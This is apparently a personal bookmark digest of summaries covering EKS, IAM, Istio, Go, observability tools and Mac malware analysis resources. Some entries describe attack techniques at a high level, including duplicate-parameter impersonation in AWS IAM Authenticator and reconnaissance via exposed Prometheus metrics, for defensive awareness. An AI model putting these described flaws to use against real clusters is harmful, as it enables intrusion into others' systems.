    • Security groups for pods: Per-pod network rules instead of inheriting the node’s ENI security group. A subnet calculator models WARM_IP_TARGET/WARM_ENI_TARGET.
    • Moved: This page is now a legacy copy. Current content is at docs.aws.amazon.com/eks/latest/best-practices/networking.html.

    Takeaway: Plan pod IP space before building EKS clusters. Prefix mode or IPv6 avoid most IP-exhaustion problems.

  • AWS Support Launches Support for Managing Cases in Slack
    summary

    TL;DR: An Aug 24, 2022 AWS announcement of the AWS Support App for Slack, for working on support cases inside Slack channels.

    • Actions: Create, update, search and resolve support cases from Slack channels.
    • Live chat: Start a live chat with AWS support agents that teammates can join.
    • Knowledge sharing: Search past cases and share earlier fixes with the team.
    • Eligibility: Business, Enterprise On-Ramp or Enterprise Support plans.
    • Cost and scope: No additional cost. Available in the standard AWS partition.
    • Setup: Not covered on the page. It points to the AWS Support App section of the AWS Support User Guide.

    Takeaway: Useful if your incident response already happens in Slack and you have a paid support plan. It keeps case history visible to the whole channel.

  • botkube: Monitor and Debug Your Kubernetes Cluster from Chat
    summary

    TL;DR: Botkube, from Kubeshop, is a ChatOps bot that sends Kubernetes events and alerts to chat platforms and lets you run cluster commands from there.

    • Platforms: Slack, Discord and Mattermost.
    • Monitoring: Watches Kubernetes events and other sources such as Prometheus alerts, with filtering and consolidation.
    • Actions: Run kubectl, helm and other commands from the chat workspace, plus automated actions triggered by plugins.
    • Extensibility: A plugin system, with support for custom plugins.
    • Audience: Lets developers troubleshoot without direct cluster access or deep Kubernetes knowledge.
    • License: MIT. Docs are at docs.botkube.io.

    Takeaway: Useful for getting cluster events into the team channel quickly. Scope the RBAC for in-chat command execution carefully.

  • AWS IAM Interview Questions
    summary

    TL;DR: A k9 Security guide of AWS IAM interview questions with sample answers, graded from basic to advanced, for hiring cloud, DevOps, SRE and security staff.

    • Basic (Q1-5): What IAM does, policy statement elements, principal types, explicit Deny wins, and roles versus users.
    • Intermediate (Q6-8): Policy types (including SCPs as guardrails that can only restrict), policy evaluation order, and federating directory identities such as AD to roles.
    • Advanced (Q9-13): Condition keys (MFA, org scoping), least privilege, scaling permissions across an organisation, CI/CD auth via OIDC federation instead of static keys, and just-in-time access.
    • Evaluation logic: Covers how permission boundaries and session policies fit into the decision.
    • Vendor content: The page also promotes k9 Security products and an IAM eBook.
    • Page changed: The current page shows a 2026 copyright and no author or date, so it may have been revised since it was bookmarked.

    Takeaway: A good checklist for self-assessment or for interviewing. If a candidate can explain policy evaluation order and OIDC for CI, they understand IAM beyond the basics.

  • Incident Response in AWS
    summary

    TL;DR: Chris Farris’s AWS incident response guide (Aug 2022, updated Mar 2023): how to prepare, detect, investigate and contain incidents in API-driven AWS environments.

    • Preparation: Org-wide CloudTrail (enable S3, DynamoDB and Lambda data events separately) and GuardDuty via delegated admin. Add a security account with read-only IR roles, an inventory with business context (Steampipe suggested), and security alternate contacts on every account.
    • Detections: StopLogging, DeleteTrail, DeleteDetector. Recon via GetCallerIdentity (which cannot be denied), ListBuckets and DescribeInstances. CreateUser persistence. Lateral movement via AssumeRole, SendCommand and SendSSHPublicKey.
    • Investigation: Pivot from a suspicious resource to its creator identity and source IPs. Query CloudTrail in S3 with Athena and map event names to MITRE TTPs.
    • Containment: Disable (do not delete) leaked access keys. Revoke role sessions issued before a timestamp. Apply a deny-all or NotAction deny, or restrict with aws:SourceIp.
    • AWS automation: Publicly exposed keys often get a quarantine policy from AWS within minutes.
    • Breach scoping: ListBuckets alone does not prove exfiltration. You need S3 data events.
    • Help: The AWS CIRT assists customers regardless of support plan.

    Takeaway: Most of the work is done before the incident. Turn on org-wide logging, set up IR roles and contacts now, and keep the containment policies ready.

  • Learn Istio: How to Manage, Monitor, and Secure Microservices
    summary

    TL;DR: A long freeCodeCamp handbook by Rinor Maloku (May 2022) that teaches Istio hands-on with a sample microservices app on a local kind cluster.

    • Setup: kind with Kubernetes 1.23.1, Istio 1.13.2 via istioctl install --set profile=demo, and sidecar injection via the istio-injection=enabled label.
    • Architecture: Data plane of Envoy sidecars and the control plane, explained before the hands-on parts.
    • Ingress: Gateway and VirtualService routing through the ingress gateway, port-forwarded to localhost:8080.
    • Observability: Prometheus, Grafana, Jaeger and Kiali via istioctl dashboard <name>, plus access logs.
    • Traffic management: Canary releases with a DestinationRule and weighted VirtualService routes.
    • Security: Automatic mTLS, PeerAuthentication in STRICT mode, RequestAuthentication with Keycloak JWTs, and AuthorizationPolicy.
    • Demo app: A “Sentiment Analysis” app (SA-Frontend, SA-WebApp, SA-Logic, SA-Feedback). The author says it takes a few hours.

    Takeaway: A thorough free walkthrough of Istio’s core features. The versions are 2022, so check current Istio install steps and APIs.

  • AWS Controllers for Kubernetes (ACK) for RDS, Lambda, Step Functions, Managed Prometheus, and KMS Now GA
    summary

    TL;DR: A Sep 6, 2022 AWS announcement that five more AWS Controllers for Kubernetes (ACK) reached general availability.

    • Newly GA: Amazon RDS, AWS Lambda, AWS Step Functions, Amazon Managed Service for Prometheus and AWS KMS controllers.
    • Totals: 12 ACK controllers GA, with 13 more in preview.
    • What ACK does: Defines and manages AWS service resources directly from Kubernetes manifests, so apps can use managed services without separate IaC or running databases in-cluster.
    • Resources: Docs at aws-controllers-k8s.github.io, plus AWS blog walkthroughs for RDS and Lambda.
    • Install: Not described on the page. It points to the ACK documentation.

    Takeaway: ACK is the AWS-native option for managing cloud resources from Kubernetes (compare Crossplane). Check controller maturity per service before relying on it.

  • Understanding and Cost Optimizing Amazon EKS Control Plane Logs
    summary

    TL;DR: An AWS Containers Blog post (September 2022) explaining EKS control plane log types and how to control their CloudWatch cost.

    • Log types: API server, audit, authenticator, controller manager and scheduler, enabled per cluster.
    • Volume: Audit logs usually have the highest volume.
    • Location: CloudWatch log groups under the /aws/eks prefix, one stream set per component.
    • Retention: Default CloudWatch retention is never expire, so set retention per log group.
    • Archival: Export to S3 (one-time or scheduled with Lambda and EventBridge), apply lifecycle rules or Intelligent-Tiering, and query with Athena since Logs Insights no longer applies.
    • Recommendations: Enable log types selectively outside production; in production enable all and manage retention.
    • GuardDuty: Reads EKS audit logs directly and does not need control plane logging enabled.

    Takeaway: Set retention on /aws/eks log groups today. Consider GuardDuty for audit-based threat detection.

  • How to Apply GitOps to Everything Using Amazon EKS, Crossplane, and Flux
    summary

    TL;DR: An AWS Open Source blog post (Sep 2022, Paul Roberts, Mo Ahmed, Viktor Farcic) that uses Flux and Crossplane on a management EKS cluster to provision clusters, apps and databases from Git.

    • Management cluster: Created with eksctl in us-east-1. It runs Flux (flux bootstrap github) and Crossplane (Helm chart 1.6.4) with AWS credentials stored as a Kubernetes secret.
    • Cluster as a claim: A single ClusterClaim named production, committed to Git, builds a new EKS cluster with its VPC and subnets in about 20-30 minutes.
    • App and DB claims: AppClaim and SQLClaim deploy an app plus either in-cluster PostgreSQL or Amazon RDS PostgreSQL to dev and prod.
    • Compositions: AWS provider config comes from vfarcic/devops-toolkit-crossplane.
    • Security note: The provider-helm service account is given cluster-admin, which is broader than needed.
    • Teardown: Delete the manifests from Git; Flux prunes them and Crossplane deletes the cloud resources.

    Takeaway: Shows the “everything as a claim” pattern end to end. Replace the static credentials secret and the cluster-admin binding before using it for real.

  • k8s-pod-restart-info-collector: Automatically Collect Kubernetes Pod Restart Reasons, Logs, and Events
    summary

    TL;DR: A small Kubernetes controller from Airwallex’s DevOps team. When a pod restarts, it collects the restart reason, logs and events and posts them to Slack.

    • What it sends: A brief alert, expandable to the reason, pod status, pod events, node status and events, and pod logs from before the restart.
    • Install: helm upgrade --install k8s-pod-restart-info-collector ./helm --set slackWebhookUrl=... --set clusterName=... --set slackChannel=....
    • Local dev: export SLACK_WEBHOOK_URL=... then go run ..
    • Verify: Run a short-lived debug-pod (e.g. kubectl run debug-pod --image=alpine -- date;sleep 30) and watch for the Slack message.
    • Background: Explained in the Medium post “Automated Troubleshooting of Kubernetes (K8s) Pods Issues”.
    • Status: Not archived. The README says Airwallex actively uses and maintains it.

    Takeaway: A cheap way to capture the logs from before a crash, which are often gone by the time someone looks. Pair it with restart-count alerting.

25.08.2022

  • Using CDK to Perform Continuous Deployments in Multi-Region Kubernetes Environments
    summary

    TL;DR: An AWS Containers blog post (Jul 2022, Elamaran Shanmugam and Re Alvarez-Parmar) that defines two regional EKS clusters, their workloads and a CI/CD pipeline in one TypeScript CDK codebase.

    • Topology: Primary EKS cluster in us-east-2 and secondary in eu-west-2 (Kubernetes 1.21, r5.2xlarge and m5.2xlarge nodes).
    • Stacks: Five CDK stacks: ClusterStack-<region> and ContainerStack-<region> for each region, plus CicdStack.
    • Pipeline: CodeCommit, CodePipeline and CodeBuild, plus ECR in each region. It builds the image, deploys to the primary, then waits for manual approval before the secondary.
    • Steps: cdk bootstrap aws://$ACCOUNT_ID/<region> per region, cdk diff, cdk deploy "*", then git push codecommit master for the sample app.
    • Prerequisites: AWS CDK 2.19.0+, Node 17.8.0+, kubectl, Docker and jq.
    • Not included: Traffic routing across regions. The post suggests Global Accelerator or DNS. ArgoCD is mentioned only as GitOps background.
    • Repo: aws-samples/containers-blog-maelstrom, path aws-cdk-eks-multi-region-skeleton.

    Takeaway: A usable skeleton for a CDK-first team running EKS in several regions. Add cdk-nag and traffic routing before treating it as production-ready.

  • Amazon Detective Supports Kubernetes Workloads on Amazon EKS for Security Investigations
    summary

    TL;DR: An AWS News Blog post by Channy Yun (Jul 2022) announcing that Amazon Detective ingests EKS audit logs for security investigations.

    • Data: Reads EKS audit logs and correlates them with CloudTrail and VPC Flow Logs. You do not enable or store the logs yourself.
    • Retention: Keeps about 12 months of activity in its behaviour graph.
    • Views: Cluster details, containers with pod, image and security context, and Kubernetes API activity by subject, source IP and outcome (success, failure, unauthorized, forbidden).
    • Anomalies: Highlights newly seen API calls and subjects whose call volume went up.
    • GuardDuty link: GuardDuty EKS Protection findings can be investigated in Detective. GuardDuty is a prerequisite.
    • Enable: Settings, General, Optional source packages, “EKS audit logs”. It is on by default for new customers. No cluster changes are needed.
    • Pricing: Based on audit log volume, with a 30-day free trial.

    Takeaway: If you already run GuardDuty, this adds Kubernetes context to investigations with no agents. Watch the cost on busy clusters.

  • kubernetes-event-exporter: Export Kubernetes Events to Multiple Destinations with Routing and Filtering
    summary

    TL;DR: kubernetes-event-exporter is an actively maintained fork of Opsgenie’s tool (unmaintained since Nov 2021). It ships Kubernetes events to many destinations with tree-based routing and filtering.

    • Purpose: Kubernetes events are easy to miss and short-lived. This exports them for observability and alerting.
    • Routing: A YAML config (a ConfigMap in-cluster) defines a route tree with match and drop rules on namespace, labels, reason and so on.
    • Receivers: For example, critical events to Opsgenie, all events to Elasticsearch, and pod events to owners via Slack.
    • Deploy: Apply the deploy/ YAMLs in order after editing 01-config.yaml, or use Kustomize from a Git ref. For Helm, the README recommends the Bitnami chart.
    • History: Originally presented at KubeCon 2019 San Diego. Fork development was sponsored by Resmo.
    • Moved: The URL now resolves to mustafaakin/kubernetes-event-exporter.

    Takeaway: A simple way to keep event history and alert on warnings such as FailedScheduling or BackOff. Check that the fork is still maintained before adopting it.

  • Best Practices for AWS Organizations Service Control Policies in a Multi-Account Environment
    summary

    TL;DR: An AWS for Industries post (Feb 2022, Rajeswari Malladi and Jim Kozlowski) proposing an OU structure and starter SCPs for financial services multi-account setups.

    • Mechanics: SCPs set the maximum permissions, including for root, in member accounts. Effective permissions are the intersection of inherited SCPs and IAM policies.
    • Layering: Broad policies go high in the hierarchy and stricter ones lower down. A top-level “Corporate” OU under the root holds org-wide SCPs.
    • Deny vs allow lists: Deny-lists block leaving the org, unapproved regions and disabling security tools. The workloads OU sample is an allow-list built with NotAction.
    • Exemptions: Use ArnNotLike on aws:PrincipalARN so that only approved roles bypass a policy.
    • Protections: Keep GuardDuty, Config and CloudTrail running, deny admin IAM actions except for approved roles, block root user access, lock S3 Block Public Access, and require encryption, tags and MFA delete.
    • Network: Deny VPC peering except for approved roles, to limit exfiltration paths.
    • OU design: Separate public-facing and internal production OUs. SDLC OUs mirror the production structure.

    Takeaway: A sensible baseline SCP set and OU layout for regulated organisations. Test policies in a non-production OU first, because a wrong deny can lock everyone out.

  • What Is eBPF, Anyway, and Why Should Kubernetes Admins Care?
    summary

    TL;DR: A groundcover blog explainer on what eBPF is, how programs are verified and run in the kernel, and why it matters for Kubernetes observability.

    • Lifecycle: Programs are written in restricted C, compiled with Clang, loaded through the bpf() syscall, checked by the verifier and JIT-compiled.
    • Verifier: Rejects unsafe programs, e.g. out-of-bounds access, often without a clear reason. A program can pass on one kernel and fail on another.
    • Maps and helpers: Maps pass data between the kernel and user space. Helpers cover tasks such as memory copies, PIDs and timestamps.
    • Kubernetes uses: Network visibility without a service mesh, per-process performance monitoring, profiling and security auditing. Tools are usually deployed as a DaemonSet.
    • Tooling named: BCC, bpftrace, bpftool, libbpf, cilium/ebpf (Go) and redbpf (Rust), plus groundcover’s own agent.
    • Caveats: Steep learning curve, limited stack space, and portability gaps across distributions and kernels. Check uname -r on nodes.
    • Page changed: The current page is dated Mar 2024 (author Aviv Zohari), so it has been rewritten since it was bookmarked in 2022.

    Takeaway: A good conceptual primer. Check node kernel versions before adopting eBPF-based tools, because features depend heavily on the kernel.

  • pixie: Instant Kubernetes-Native Application Observability
    summary

    TL;DR: Pixie is an open-source observability tool for Kubernetes applications. It uses eBPF to collect telemetry automatically, without code changes.

    • Auto-telemetry: eBPF captures full-body requests, resource and network metrics, and application profiles.
    • In-cluster: Data is collected, stored and queried inside the cluster. The README says it uses under 5% of cluster CPU, usually under 2%.
    • PxL: A Pythonic query language used across the UI, CLI and client APIs.
    • Network: Traffic flow, DNS requests and responses, and maps of TCP drops and retransmits.
    • Infra and services: Resource use per pod, node and namespace, CPU flame graphs, per-endpoint latency, and samples of the slowest requests.
    • Status: Not archived.

    Takeaway: Good for instant service maps and request inspection when you have no tracing set up. Treat captured request bodies as sensitive data.

  • CDK for Terraform Is Now Generally Available
    summary

    (Could not fetch full text.)

    TL;DR: HashiCorp’s announcement that CDK for Terraform (CDKTF) reached general availability with version 0.12, about two years after the community preview built with the AWS CDK team.

    • What it is: Write Terraform configurations in TypeScript, Python, C#, Java or Go while using the full ecosystem of Terraform providers and modules.
    • Constructs: Custom abstraction layers to reuse resource configuration and cut duplication.
    • Interop: CDKTF synthesizes JSON that Terraform deploys directly, so teams can choose HCL or CDKTF project by project.
    • 0.12 highlights: Full Go support (after JSII added Go support), unit-testing utilities for all supported languages, and Terraform iterator support.
    • CI/CD: A new GitHub Action for running CDKTF with Terraform Cloud or Enterprise, plus Deployment Patterns docs.
    • Source caveat: The live page shows a Vercel bot check. This summary is based on a Jan 2025 Wayback Machine copy.

    Takeaway: CDKTF suits teams that want loops, types and tests in a general-purpose language on top of Terraform. Check its current support status before starting new projects on it.

  • A Guide to the Go Garbage Collector
    summary

    TL;DR: The official Go guide to the garbage collector, written for Go 1.19. It covers the cost model, GOGC, the memory limit, latency and how to cut heap allocations.

    • Design: Tracing, non-moving, concurrent mark-sweep. Escape analysis decides between stack and heap.
    • GOGC: Target heap = live heap + (live heap + GC roots) x GOGC/100. Doubling GOGC roughly doubles heap overhead and halves GC CPU.
    • Memory limit: GOMEMLIMIT or debug.SetMemoryLimit (Go 1.19+) is a soft limit. GC CPU is capped at about 50% to avoid thrashing.
    • Limit guidance: Good for containers you control, with 5-10% headroom. Avoid it for CLI or desktop tools with unknown inputs.
    • Latency: Mostly brief stop-the-world transitions, the 25% background mark CPU, and allocation assists. Allocating less helps both throughput and latency.
    • Diagnostics: GODEBUG=gctrace=1, CPU profiles (runtime.mallocgc over 15% means heavy allocation), heap profiles with alloc_space, and go build -gcflags=-m=3 for escape analysis.
    • Updated: The living document now also covers later changes: THP settings for Go 1.21+, and runtime.AddCleanup and weak pointers in Go 1.24+.

    Takeaway: The reference for tuning Go services in containers. Set GOMEMLIMIT just under the container limit and profile allocations before changing GOGC.

  • What’s New in Go 1.19?
    summary

    TL;DR: Carl Johnson’s (now Carlana) tour of Go 1.19 (Jul 2022), focused on smaller standard library additions, several of which he took part in.

    • url.JoinPath: A new function and method for joining URL paths. He was interested because of his HTTP request library.
    • time.Duration.Abs(): Handles the asymmetric negative extreme of Duration by saturating. He says Russ Cox helped find the fix.
    • http.MaxBytesError: Lets callers detect MaxBytesReader overflow with errors.As instead of matching strings.
    • atomic.Pointer[T]: The first generics-based standard library API, alongside the revised memory model.
    • Soft memory limit: GOMEMLIMIT or debug.SetMemoryLimit, which he says makes “memory ballast” tricks obsolete.
    • Others: fmt.Append/Appendf/Appendln, flag.TextVar, sort.Find, pattern-defeating quicksort in sort.Sort, and doc comment links and formatting fixed by go fmt.
    • Moved: The blog now redirects to blog.carlana.net.

    Takeaway: A readable complement to the official release notes. GOMEMLIMIT and http.MaxBytesError are the most useful for production code.

  • Kubernetes Cluster Upgrade: The Blue-Green Deployment Strategy
    summary

    TL;DR: An AWS Containers blog post (Jul 2022) by AWS and TheFork on upgrading EKS by building a new cluster and moving traffic, instead of upgrading in place.

    • Why: Going from EKS 1.15 to 1.18 and Istio 1.4 to 1.8 meant seven sequential upgrades per cluster across seven clusters, 49 in total, which they called high risk.
    • Rule: Rolling in-place upgrades for non-breaking changes, blue-green for breaking ones. Blue-green took 1-2 months versus 2-4 weeks.
    • Pre-checks: Changelogs, kubent (kube-no-trouble), istioctl analyse and istioctl experimental precheck.
    • Setup: Terraform-managed clusters named aws-environment-{spoon,knife} in eu-west-3. Jenkins and Helmfile deploy to both clusters in parallel.
    • Cutover: ALB target group weights move from 25% through 33%, 50%, 66% and 75% to 100%, one ingress at a time, so HPA has time (its 5-minute window) to scale.
    • Stateful caveat: EBS volumes attach to one node, so each StatefulSet needs its own migration plan. The Elasticsearch example stops Logstash, disables shard allocation and moves.

    Takeaway: Blue-green is worth it when you need to jump several versions. Plan stateful workloads first; they are the hard part.

  • Scaling Kubernetes with Karpenter: Advanced Scheduling with Pod Affinity and Volume Topology Awareness
    summary

    TL;DR: A 25-minute video by Lukonde Mwila (Jul 2022) showing Karpenter autoscaling an Amazon EKS cluster for workloads with pod affinity, anti-affinity and volume topology requirements.

    • Topic: Automatically scaling EKS compute with Karpenter while meeting advanced scheduling rules.
    • Concepts covered: Pod affinity and anti-affinity rules, cluster topology, and use cases for both (per the chapter timestamps).
    • Demo 1: Scaling the cluster with Karpenter for workloads that have pod affinity rules (from 03:11).
    • Demo 2: Scaling with dynamic volume provisioning and volume topology awareness (from 11:31).
    • Companion links: karpenter.sh, the matching AWS Containers blog post, the Karpenter launch post, terraform-aws-eks-blueprints and the EKS best-practices Karpenter page.
    • Source caveat: Summary based on the YouTube title, description and timestamps. The video itself was not watched.

    Takeaway: Useful if you need Karpenter to provision nodes in the right zone for EBS-backed pods. Check today’s Karpenter APIs, which have changed since 2022.

  • The Art of Mac Malware
    summary

    TL;DR: The site for Patrick Wardle’s “The Art of Mac Malware” book series from the Objective-See Foundation, with chapters readable online as PDFs.

    • Volume I, Analysis: Infection vectors, persistence and capabilities, then nonbinary analysis, binary triage, disassembly and decompilation, dynamic analysis tools, debugging and anti-analysis.
    • Case study: Two chapters on the EvilQuest malware: infection, triage and deobfuscation, then persistence and core functionality.
    • Volume II, Detection: Programmatic detection of malicious code with behavioural heuristics, for building macOS defensive tools.
    • Access: Each chapter has a “Read Chapter” PDF link, and print copies can be ordered.
    • Author: Wardle created Objective-See and the “Objective by the Sea” conference, and previously worked at NASA and the NSA.
    • Changed since bookmarked: The site now covers two volumes. Volume II on detection was added after the original 2022 bookmark.

    Takeaway: The standard free reference for macOS malware analysis. Start with Volume I if you triage Mac incidents.

  • How to Reverse Mac Malware Without Getting Infected
    summary

    (Could not fetch full text.)

    TL;DR: “How to Reverse Malware on macOS Without Getting Infected”, a sponsored SentinelOne ebook by Phil Stokes with a foreword by Patrick Wardle. It teaches safe macOS malware analysis from lab setup to dynamic analysis.

    • Part One, lab: Setting up a safe environment, isolating macOS guest VMs, tools for testing malware, and where to find macOS malware samples.
    • File triage: First steps of file analysis, checking code signatures, application bundle structure, and gathering file metadata.
    • Part Two, Mach-O: What a Mach-O binary is, exploring segments and sections, pulling strings, using otool to examine binaries, and compiling indicators of compromise.
    • Part Three, dynamic analysis: Running malware in a controlled way to observe its behaviour.
    • Origin: Matches SentinelOne’s three-part blog series of the same name by Phil Stokes.
    • Source caveat: The PDF (over 10 MB) could not be parsed in full. The outline was recovered from its table of contents and confirmed with search results.

    Takeaway: A practical first manual for Mac malware triage in a VM. Pair it with Wardle’s “The Art of Mac Malware” for depth.

  • brev-cli: Cloud Coding Workspaces
    summary

    TL;DR: brev-cli was bookmarked as a CLI for cloud coding workspaces. The repository is now the NVIDIA Brev CLI, for creating and connecting to NVIDIA GPU instances on cloud platforms.

    • Changed scope: The README now describes NVIDIA Brev: streamlined access to GPU instances, automatic environment setup and flexible deployment. The original “cloud dev workspaces” framing is gone.
    • Install: brew install brevdev/homebrew-brev/brev on macOS, an install script on Linux and WSL, or pixi global install brev from conda-forge.
    • Usage: brev login, brev create <name> and brev ls.
    • Platforms: macOS, Linux, and Windows via WSL (Ubuntu 22.04 or newer).
    • Extras: The README mentions a bundled skill for AI coding agents.
    • Docs: docs.nvidia.com/brev/latest/.

    Takeaway: Useful now mainly for getting GPU dev boxes quickly. It is no longer a general replacement for remote development workspaces.

  • kubefire: Create and Manage Kubernetes Clusters Using Firecracker MicroVMs
    summary

    TL;DR: KubeFire creates and manages Kubernetes clusters that run on Firecracker microVMs, through weaveworks/ignite.

    • Images: Uses rootfs and kernel from OCI images rather than qcow2 or vhd VM images, and containerd manages the Firecracker processes.
    • Bootstrappers: kubeadm, K3s, RKE2 and k0s.
    • Architectures: x86_64 and ARM64 (ARM for K3s, RKE2 and k0s).
    • Quickstart: kubefire install (as root, installs runc, containerd, CNI plugins and Ignite), then kubefire cluster create demo.
    • Minimum versions: runc 1.1.3, containerd 1.6.6, CNI 1.1.1 and Ignite 0.10.0.
    • Install: A curl install script or huber install kubefire. Clusters can also be defined in a declarative config file.

    Takeaway: A lightweight way to get VM-isolated local multi-node clusters on Linux hosts with KVM. Check that the Ignite dependency is still maintained before you rely on it.

  • aws-auto-cleanup: Delete AWS Resources Based on an Allowlist and TTL Settings
    summary

    TL;DR: AWS Auto Cleanup deletes unneeded AWS resources using user-defined allowlists and time-to-live (TTL) policies, to keep accounts tidy and cut cost.

    • Approach: Resources not on an allowlist and older than their TTL are deleted.
    • Components: Three modules, APP, API and WEB, each with its own deployment steps.
    • Use case: Sandbox and development accounts where forgotten resources pile up cost.
    • Moved: The repository now resolves to mlevit/aws-auto-cleanup.
    • Archived: The owner archived the repository on Aug 15, 2024, so it is read-only and unmaintained.
    • Source caveat: The current README is minimal. Details per module are in sub-READMEs that were not reviewed.

    Takeaway: The allowlist-plus-TTL pattern is still sound for sandbox accounts. Since this tool is archived, consider maintained alternatives such as aws-nuke.

  • vscode-gitops-tools: VS Code GitOps Extension
    summary

    TL;DR: Weaveworks’ GitOps Tools extension for VS Code shows, configures and debugs Flux objects in a Kubernetes cluster from the editor.

    • Built on: Flux (CNCF). Manages sources such as GitRepository and workloads such as Kustomization and HelmRelease.
    • Workflow: Create a GitRepository source that tracks manifests, add a Kustomization that reconciles them, and manage changes through Git.
    • Requirements: kubectl with a selected cluster context (kind or Docker Desktop is enough). The flux CLI can be installed from the extension.
    • Extras: Extra dependencies for Weave GitOps Enterprise and Azure users.
    • Stability: The README says the extension is under active development with rolling beta releases and possible breaking changes.
    • Status: The repository is not archived.

    Takeaway: Handy for seeing Flux reconcile state without CLI round-trips. Check recent commit activity and Flux version compatibility before you depend on it.

  • awesome-cloudnative-trainings: Awesome Cloud Native Trainings
    summary

    TL;DR: A curated list of free cloud-native and Kubernetes trainings that come with certificates or badges. It started as a Medium post by joseadanof.

    • Claim: More than 50 certificates or badges are available through the listed courses, and the repo has over 1.7k stars.
    • Providers: Chainguard, Akuity (Argo CD), AWS, Isovalent, Arrikto, ScyllaDB, ArangoDB, Redis University, O11y Academy, Cockroach Labs, IBM, Harness, Ambassador Labs, Nirmata, Tetrate, Codefresh, Kasten and solo.io.
    • Examples: Chainguard “Painless Vulnerability Management”, Akuity “Introduction to Continuous Delivery and GitOps using Argo CD”, and AWS Skill Builder storage learning plans.
    • Audience: People studying for Kubernetes certifications, and DevOps, platform, cloud and SRE roles.
    • Status: Not archived. New entries such as AI/ML supply-chain courses show it has kept being updated.

    Takeaway: A good free study map. Check each link before you plan around it, because vendor course URLs change often.

  • Exploiting Authentication in AWS IAM Authenticator for Kubernetes
    summary

    (Could not fetch full text.)

    TL;DR: Gafnit Amiga’s research for Lightspin (Jul 2022) on three flaws in AWS IAM Authenticator for Kubernetes, the component that maps IAM identities to EKS users. All three came from the same line of code. Tracked as CVE-2022-2385.

    • Mechanism: kubectl sends a presigned STS GetCallerIdentity URL as the token. The authenticator checks the host, path and allowlisted query parameters, then calls STS.
    • Root cause: Query parameters were validated in an unordered loop that did not reject duplicate names. Repeating a parameter could override the checked value.
    • Impacts: Bypassing the replay protection (unsigned cluster ID header), changing the STS action, and impersonating other identities through the AccessKeyID-based username mapping.
    • Age: Two flaws existed since the first commit (Oct 12, 2017). Impersonation was possible from v0.5.2 (Sep 2, 2020).
    • Fix: EKS added validation that rejects duplicate parameter names. AWS patched all EKS clusters and published a security bulletin.
    • Timeline: Reported May 25, 2022. Fix validated on Jun 10, 2022.
    • Source caveat: The live page is behind a Cloudflare challenge. This summary is based on a Sep 2023 Wayback Machine copy.

    Takeaway: Managed EKS was patched by AWS. Self-managed users and EKS Anywhere users of aws-iam-authenticator must upgrade.

  • How Attackers Use Exposed Prometheus Server to Exploit Kubernetes Clusters
    summary

    TL;DR: Miguel Hernández of Sysdig (Jul 2022, from a KubeCon EU 2022 talk) shows how much an exposed Prometheus server reveals about a Kubernetes cluster and how attackers could use it.

    • Exposure: Search engines list 31,679 (Shodan), 61,854 (Censys) and 161,274 (Fofa) exposed Prometheus servers. The tests used only a demo environment.
    • Infra leaks: node_dmi_info (cloud vendor and instance type), node_network_info (IPs, AZ, VPC ID) and kube_node_info (OS image and kernel, to match against CVEs).
    • Workload leaks: kube_ingress_path, kube_pod_labels, kube_pod_container_info (images and digests) and kubernetes_build_info.
    • Secrets: kube_secret_info exposes secret names. Old kubectl last-applied annotations could expose secret contents.
    • No audit trail: Prometheus query logging is off by default.
    • Scenarios: Supply-chain attacks via lookalike image names, cryptomining via Log4Shell, and ransomware via Spring Cloud CVE-2022-22963 followed by etcd access.

    Takeaway: Never expose Prometheus or metrics endpoints without authentication. Treat metric labels as sensitive data.

  • Cloud Design Patterns
    summary

    TL;DR: Microsoft’s Azure Architecture Center catalog of technology-agnostic cloud design patterns. Each pattern is mapped to the Well-Architected Framework pillars it supports.

    • Catalog: About 44 patterns, each with the problem, considerations and an Azure-based example.
    • Resilience: Retry, Circuit Breaker, Bulkhead, Health Endpoint Monitoring, Rate Limiting, Throttling and Leader Election.
    • Messaging: Queue-Based Load Leveling, Competing Consumers, Publisher-Subscriber, Claim Check, Priority Queue, Sequential Convoy and Idempotent Consumer.
    • Data: Cache-Aside, CQRS, Event Sourcing, Materialized View, Sharding, Index Table, Saga and Compensating Transaction.
    • Edge and gateways: Ambassador, Sidecar, Gatekeeper, Gateway Routing/Aggregation/Offloading, Backends for Frontends, Valet Key, Strangler Fig and Anti-Corruption Layer.
    • Guidance: Choose patterns by problem, not technology. It lists combinations such as Retry with Circuit Breaker, and Saga built on Compensating Transaction.
    • Moved and updated: The URL now redirects to learn.microsoft.com. The page has a newer section linking to AI agent orchestration patterns.

    Takeaway: A good vocabulary for design reviews on any cloud. Read the trade-offs section of each pattern before adopting it.

  • Vantage: Save on Cloud Costs
    summary

    TL;DR: Vantage is a commercial multi-cloud cost management platform. It now describes itself as the system of record for allocating and optimising cloud, SaaS and AI costs.

    • Reporting: Cost reports, virtual tagging, budgets, unit costs, network cost views and asset inventory.
    • Optimisation: Waste detection, cost recommendations, and Autopilot for buying AWS Savings Plans.
    • Kubernetes: An agent that breaks cost down by namespace and label, flags idle and pod waste, and suggests rightsizing.
    • Integrations: AWS, Azure, Google Cloud and Cloudflare, SaaS such as Datadog and New Relic, and data platforms such as Snowflake and Databricks.
    • AI features: LLM token cost allocation, a FinOps agent, and an MCP server for querying costs from AI assistants.
    • Ops: Anomaly and budget alerts to Slack, Teams, Jira or email, and a Terraform provider.
    • Changed since bookmarked: The 2022 bookmark predates the AI and MCP features. No pricing tiers are shown on the homepage.

    Takeaway: Worth a look if native cost tools are too fragmented across clouds and SaaS. Compare it with free options such as OpenCost before paying.

  • API-Security-Checklist: API Security Checklist
    summary

    TL;DR: Shieldfy’s API Security Checklist lists the main security countermeasures for designing, testing and releasing APIs, with translations into many languages.

    • Authentication: No Basic Auth. Use standard token and password-storage schemes. Use max-retry and jail on login.
    • Access: Rate limiting, TLS 1.2+ with Host matching SNI, HSTS, no directory listings, and IP allowlists for private APIs.
    • Input: Correct HTTP methods (405 otherwise), Accept/content-type validation (406), and no secrets in URLs.
    • Processing: Authentication on every endpoint, /me/orders instead of user IDs, UUIDs instead of auto-increment IDs, and XML entity parsing off to avoid XXE.
    • Other sections: Authorization, Output, CI and CD, and Monitoring, plus an advanced best-practices section.
    • Format: Markdown checkboxes, easy to copy into a review template.

    Takeaway: A fast pre-release review list for any HTTP API. Pair it with the OWASP API Security Top 10 for threat context.

  • How to Build Multi-Arch Docker Images
    summary

    TL;DR: Kush Mansingh (Speedscale, Jul 2022) shows how to build one image tag for both amd64 and arm64 with Docker Buildx, using either emulation or cross-compilation.

    • Setup: docker buildx create --use.
    • Build: docker buildx build --platform linux/amd64,linux/arm64 -t <image> --push . Multi-arch results need --push, because --load cannot export manifest lists.
